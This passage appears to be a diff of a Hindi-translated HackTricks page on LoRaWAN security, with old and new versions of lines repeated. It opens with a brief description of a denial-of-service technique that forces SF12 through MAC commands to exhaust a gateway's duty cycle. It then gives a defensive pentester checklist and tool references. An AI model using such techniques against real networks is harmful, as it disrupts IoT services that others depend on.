SF12/125 kHz को मजबूर करें ताकि एयरटाइम बढ़ सके → गेटवे का ड्यूटी-चक्र समाप्त करें (सेवा से इनकार) जबकि हमलावर पर बैटरी का प्रभाव कम रखें (बस नेटवर्क-स्तरीय MAC कमांड भेजें)।
SF12/125 kHz को मजबूर करें ताकि एयरटाइम बढ़ सके → गेटवे का ड्यूटी-साइकिल समाप्त करें (सेवा से इनकार) जबकि हमलावर पर बैटरी का प्रभाव कम रखें (बस नेटवर्क-स्तरीय MAC कमांड भेजें)।
### 4. प्रतिक्रियाशील जामिंग
@ -80,16 +80,16 @@ SF12/125 kHz को मजबूर करें ताकि एयरटाइ
## रक्षात्मक सिफारिशें (पेंटेस्टर चेकलिस्ट)
1. वास्तव में यादृच्छिक DevNonce के साथ **OTAA** उपकरणों को प्राथमिकता दें; डुप्लिकेट की निगरानी करें।
1. **OTAA** उपकरणों को प्राथमिकता दें जिनमें वास्तव में यादृच्छिक DevNonce हो; डुप्लिकेट की निगरानी करें।
2. **LoRaWAN 1.1** को लागू करें: 32-बिट फ्रेम काउंटर, अलग FNwkSIntKey / SNwkSIntKey।
3. फ्रेम-काउंटर को गैर-वाष्पशील मेमोरी (**ABP**) में स्टोर करें या OTAA में माइग्रेट करें।
4. रूट कुंजी को फर्मवेयर निष्कर्षण से बचाने के लिए **सुरक्षित-तत्व** (ATECC608A/SX1262-TRX-SE) तैनात करें।
5. दूरस्थ UDP पैकेट-फॉरवर्डर पोर्ट (1700/1701) को अक्षम करें या WireGuard/VPN के साथ प्रतिबंधित करें।
6. गेटवे को अपडेट रखें; Kerlink/Dragino 2024-पैच किए गए इमेज प्रदान करते हैं।
7. **ट्रैफिक विसंगति पहचान** (जैसे, LAF विश्लेषक) को लागू करें काउंटर रीसेट, डुप्लिकेट जॉइन, अचानक ADR परिवर्तनों को फ्लैग करें।
6. गेटवे को अपडेट रखें; Kerlink/Dragino 2024-पैच की गई छवियाँ प्रदान करते हैं।
7. **ट्रैफिक विसंगति पहचान** (जैसे, LAF विश्लेषक) को लागू करें काउंटर रीसेट, डुप्लिकेट जॉइन, अचानक ADR परिवर्तनों को चिह्नित करें।
## संदर्भ
* LoRaWAN ऑडिटिंग फ्रेमवर्क (LAF) https://github.com/IOActive/laf
* ट्रेंड माइक्रो LoRaPWN अवलोकन https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN ऑडिटिंग फ्रेमवर्क (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* ट्रेंड माइक्रो LoRaPWN अवलोकन [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}